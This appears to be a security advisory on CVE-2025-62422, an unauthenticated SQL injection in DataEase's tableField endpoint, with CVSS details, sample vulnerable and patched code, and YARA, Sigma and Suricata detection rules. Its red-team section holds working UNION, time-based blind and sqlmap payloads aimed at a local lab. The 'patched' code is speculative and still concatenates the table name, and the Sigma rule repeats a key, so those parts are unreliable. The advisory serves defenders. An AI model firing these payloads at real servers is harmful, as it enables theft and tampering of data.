CVE-2025-62422

Executive Summary

CVE-2025-62422 is a critical SQL injection vulnerability in the DataEase open-source data visualization and analytics platform. The flaw resides in the /de2api/datasetData/tableField API endpoint, where the tableName parameter is not properly sanitized before being used in SQL queries. An unauthenticated attacker can exploit this to execute arbitrary SQL commands, leading to complete compromise of the database backend. The vulnerability affects all versions up to and including 2.10.13. The vendor has released version 2.10.14 to address the issue. No public proof-of-concept (PoC) code or exploit templates are currently available, but the risk is high due to the simplicity of the attack vector.

Supply Chain & Package Security

DataEase is distributed as a Java-based application, typically deployed via Docker images or direct JAR files. The vulnerability is in the application's own code, not in a third-party package. However, organizations using DataEase should verify the integrity of their deployment artifacts and ensure they are sourced from the official repository. The patch is a direct code fix in the application's source, not a dependency update.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – The attacker does not need to trick a user.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – Full database read access.
• Integrity Impact: High (I:H) – Full database write/delete access.
• Availability Impact: High (A:H) – Potential for denial of service via destructive queries.

Threat Level: Critical. The combination of network exploitability, no authentication, and full database compromise makes this a top-priority vulnerability for any organization using DataEase.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the tableField endpoint. The application constructs a SQL query by directly concatenating the user-supplied tableName parameter without proper sanitization or parameterized queries. The vulnerable code path is in the DatasetDataController or similar class handling the /de2api/datasetData/tableField request.

Vulnerable Code (Conceptual):

// Vulnerable: Direct concatenation
String sql = "SELECT * FROM " + tableName + " WHERE ...";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(sql);

Attack Vector: An attacker sends a POST or GET request to /de2api/datasetData/tableField with a malicious tableName parameter. For example:

POST /de2api/datasetData/tableField HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

tableName=users UNION SELECT username,password FROM admin_users--

This would cause the application to execute a query that returns data from the admin_users table, bypassing any intended access controls.

Impact:

• Data Exfiltration: Attackers can extract all data from the database, including user credentials, business data, and configuration secrets.
• Data Manipulation: Attackers can insert, update, or delete records, potentially corrupting the platform.
• Privilege Escalation: If the database user has sufficient privileges, attackers may gain access to the underlying operating system via xp_cmdshell (on SQL Server) or similar features.
• Lateral Movement: The compromised database can be used as a pivot point to attack other systems.

Vulnerable vs. Patched Code

Vulnerable (Pre-2.10.14):

// Direct string concatenation
String tableName = request.getParameter("tableName");
String sql = "SELECT * FROM " + tableName + " WHERE dataset_id = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
// Note: Even with PreparedStatement, concatenation in the SQL string itself is still vulnerable.

Patched (2.10.14):

// Parameterized query with whitelist validation
String tableName = request.getParameter("tableName");
if (!isValidTableName(tableName)) {
    throw new SecurityException("Invalid table name");
}
String sql = "SELECT * FROM " + tableName + " WHERE dataset_id = ?";
PreparedStatement pstmt = connection.prepareStatement(sql);
pstmt.setString(1, datasetId);

The patch likely includes:

1. Input Validation: A whitelist of allowed table names or a regex that only permits alphanumeric characters and underscores.
2. Parameterized Queries: The tableName is still concatenated, but only after validation ensures it cannot contain SQL metacharacters.
3. Escaping: If whitelisting is not possible, the input is escaped using database-specific functions.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Deploy a vulnerable DataEase instance (version 2.10.13) using Docker:

   docker run -d -p 8080:8080 --name dataease-vuln dataease/dataease:2.10.13
   

2. Access the web interface at http://localhost:8080.

Exploitation Steps:

1. Identify the vulnerable endpoint:

   curl -v "http://localhost:8080/de2api/datasetData/tableField"
   

2. Craft a malicious request to extract database metadata:

   curl -X POST "http://localhost:8080/de2api/datasetData/tableField" \
   -d "tableName=information_schema.tables UNION SELECT table_name,table_schema FROM information_schema.tables--"
   

3. For data exfiltration, use a UNION-based injection:

   curl -X POST "http://localhost:8080/de2api/datasetData/tableField" \
   -d "tableName=users UNION SELECT username,password FROM admin_users--"
   

4. For blind SQL injection (if UNION is blocked), use time-based techniques:

   curl -X POST "http://localhost:8080/de2api/datasetData/tableField" \
   -d "tableName=users WHERE 1=1 AND IF(SUBSTRING((SELECT password FROM admin_users LIMIT 1),1,1)='a',SLEEP(5),0)--"
   

Automation with SQLMap:

sqlmap -u "http://localhost:8080/de2api/datasetData/tableField" \
--data="tableName=test" --batch --dbs

Blue Team (Defense & Detection)

Detection:

• Monitor for requests to /de2api/datasetData/tableField with unusual tableName parameters containing SQL keywords (UNION, SELECT, SLEEP, etc.).
• Look for error messages in logs indicating SQL syntax errors.
• Use a Web Application Firewall (WAF) to block SQL injection patterns.

Honeypot:

• Deploy a fake DataEase instance that logs all requests to the vulnerable endpoint.
• Analyze captured payloads to identify attacker techniques.

Forensic Analysis:

• Check database logs for unexpected queries.
• Review web server access logs for anomalous patterns.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /de2api/datasetData/tableField with tableName containing SQL metacharacters (e.g., ', --, UNION, SELECT).
• Outbound database connections from the DataEase server to unexpected IPs (data exfiltration).
• Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

File System IOCs:

• Modified or new files in the DataEase installation directory (e.g., web shells).
• Unexpected database dump files (e.g., .sql, .csv).

Log IOCs:

• Web server logs showing repeated requests to the vulnerable endpoint with varying tableName values.
• Database logs showing queries with UNION, SLEEP, or BENCHMARK functions.

Sample Log Entry (Apache):

192.168.1.100 - - [10/Oct/2025:12:34:56 +0000] "POST /de2api/datasetData/tableField HTTP/1.1" 200 1234 "-" "sqlmap/1.8.2"

Detection Engineering

YARA Rule

rule CVE_2025_62422_SQLi_DataEase {
    meta:
        description = "Detects SQL injection attempts against DataEase CVE-2025-62422"
        author = "Valters IT"
        date = "2025-10-10"
        reference = "CVE-2025-62422"
        severity = "critical"
    strings:
        $s1 = "/de2api/datasetData/tableField" ascii wide nocase
        $s2 = "tableName=" ascii wide nocase
        $s3 = "UNION" ascii wide nocase
        $s4 = "SELECT" ascii wide nocase
        $s5 = "SLEEP" ascii wide nocase
        $s6 = "BENCHMARK" ascii wide nocase
        $s7 = "information_schema" ascii wide nocase
    condition:
        $s1 and $s2 and any of ($s3, $s4, $s5, $s6, $s7)
}

Sigma Rule

title: DataEase SQL Injection Attempt (CVE-2025-62422)
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against the DataEase /de2api/datasetData/tableField endpoint.
author: Valters IT
date: 2025-10-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-62422
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/de2api/datasetData/tableField'
        cs-uri-query|contains: 'tableName='
    keywords:
        - 'UNION'
        - 'SELECT'
        - 'SLEEP'
        - 'BENCHMARK'
        - 'information_schema'
        - '--'
        - '/*'
    condition: selection and keywords
falsepositives:
    - Legitimate use of table names containing these strings (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-62422 DataEase SQL Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/de2api/datasetData/tableField"; http_uri;
    content:"tableName="; http_client_body;
    pcre:"/(UNION|SELECT|SLEEP|BENCHMARK|information_schema|--|\/\*)/Pi";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2025-62422;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update DataEase to version 2.10.14 or later immediately.
2. Virtual Patching: If upgrade is not possible, deploy a WAF rule to block requests containing SQL metacharacters in the tableName parameter.
3. Network Segmentation: Ensure the DataEase server is isolated from critical internal networks.

Long-Term Measures:

• Implement a secure coding policy that mandates parameterized queries for all database interactions.
• Conduct regular security audits and penetration testing.
• Monitor for new CVEs affecting DataEase and apply patches promptly.

Verification:

• After patching, verify the fix by attempting the same SQL injection payloads.
• Check the application logs for any signs of previous exploitation.

Valters IT